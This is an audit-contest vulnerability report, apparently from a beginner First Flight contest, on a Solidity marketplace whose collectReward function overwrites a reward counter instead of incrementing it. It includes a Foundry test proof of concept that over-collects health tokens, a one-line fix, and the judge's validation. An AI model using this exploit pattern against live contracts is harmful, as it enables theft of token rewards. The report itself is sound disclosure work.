First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `MartenitsaMarketplace::collectReward` updates the `MartenitsaMarketplace::_collectedRewards` mapping incorrectly giving users more `healthtokens` than intended

codexbugmenot

Summary

The MartenitsaMarketplace::_collectedRewards mapping in MartenitsaMarketplace::collectReward is overwritten after everyuse instead of updating allowing anyone who uses the function multiple times to receive more healthtokens than intended

Impact

1.Anyone who uses the MartenitsaMarketplace::collectReward function multiple times can receive more healthtokens than intended unknowingly
2. Malicious users can exploit this to steal many more healthtokens

Proof of Concept

Note: Import {console} in MartenitsaMarketplace.t.sol for Poc to work effortlessly

import {console} from "forge-std/Test.sol";

The user bob interacts with MartenitsaMarketplace::collectReward in 3 transactions every time he buys 3 more MartenitsaTokens and collectsreward:

  1. bobs MartenitsaTokens balance = 3 , _collectedRewards = 1 , healthtokens = 1

  2. bobs MartenitsaTokens balance = 6 , _collectedRewards = 1 , healthtokens = 2

  3. bobs MartenitsaTokens balance = 9 , _collectedRewards = 2 , healthtokens = 4

The healthtokens in transaction 3 for 9 MartenitsaTokens should be 3 but it is 4.

PoC: Collect Rewards Incorrect Update
function testCollectRewardsIncorrectUpdate() public {
uint256 totaltokens = 3;
uint256 requirement = totaltokens * (10 ** 18);
​
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
marketplace.listMartenitsaForSale(1, 1 wei);
marketplace.listMartenitsaForSale(2, 1 wei);
marketplace.listMartenitsaForSale(3, 1 wei);
marketplace.listMartenitsaForSale(4, 1 wei);
marketplace.listMartenitsaForSale(5, 1 wei);
marketplace.listMartenitsaForSale(6, 1 wei);
marketplace.listMartenitsaForSale(7, 1 wei);
marketplace.listMartenitsaForSale(8, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
martenitsaToken.approve(address(marketplace), 3);
martenitsaToken.approve(address(marketplace), 4);
martenitsaToken.approve(address(marketplace), 5);
martenitsaToken.approve(address(marketplace), 6);
martenitsaToken.approve(address(marketplace), 7);
martenitsaToken.approve(address(marketplace), 8);
marketplace.makePresent(bob, 0);
marketplace.makePresent(bob, 1);
marketplace.makePresent(bob, 2);
vm.stopPrank();
​
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
​
vm.startPrank(chasy);
marketplace.makePresent(bob, 3);
marketplace.makePresent(bob, 4);
marketplace.makePresent(bob, 5);
vm.stopPrank();
​
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
​
vm.startPrank(chasy);
marketplace.makePresent(bob, 6);
marketplace.makePresent(bob, 7);
marketplace.makePresent(bob, 8);
vm.stopPrank();
​
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
​
console.log("Balance of bob is :", healthToken.balanceOf(bob));
// final balance of bob should be 3 but it is 4
assert(healthToken.balanceOf(bob) != requirement);
}
​

Recommendations

Updating the MartenitsaMarketplace::_collectedRewards mapping correctly
in MartenitsaMarketplace::collectReward function will mitigate the issue.

make the following changes in the MartenitsaMarketplace::collectReward function

- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
​
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

_collectedRewards is not updated correctly

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.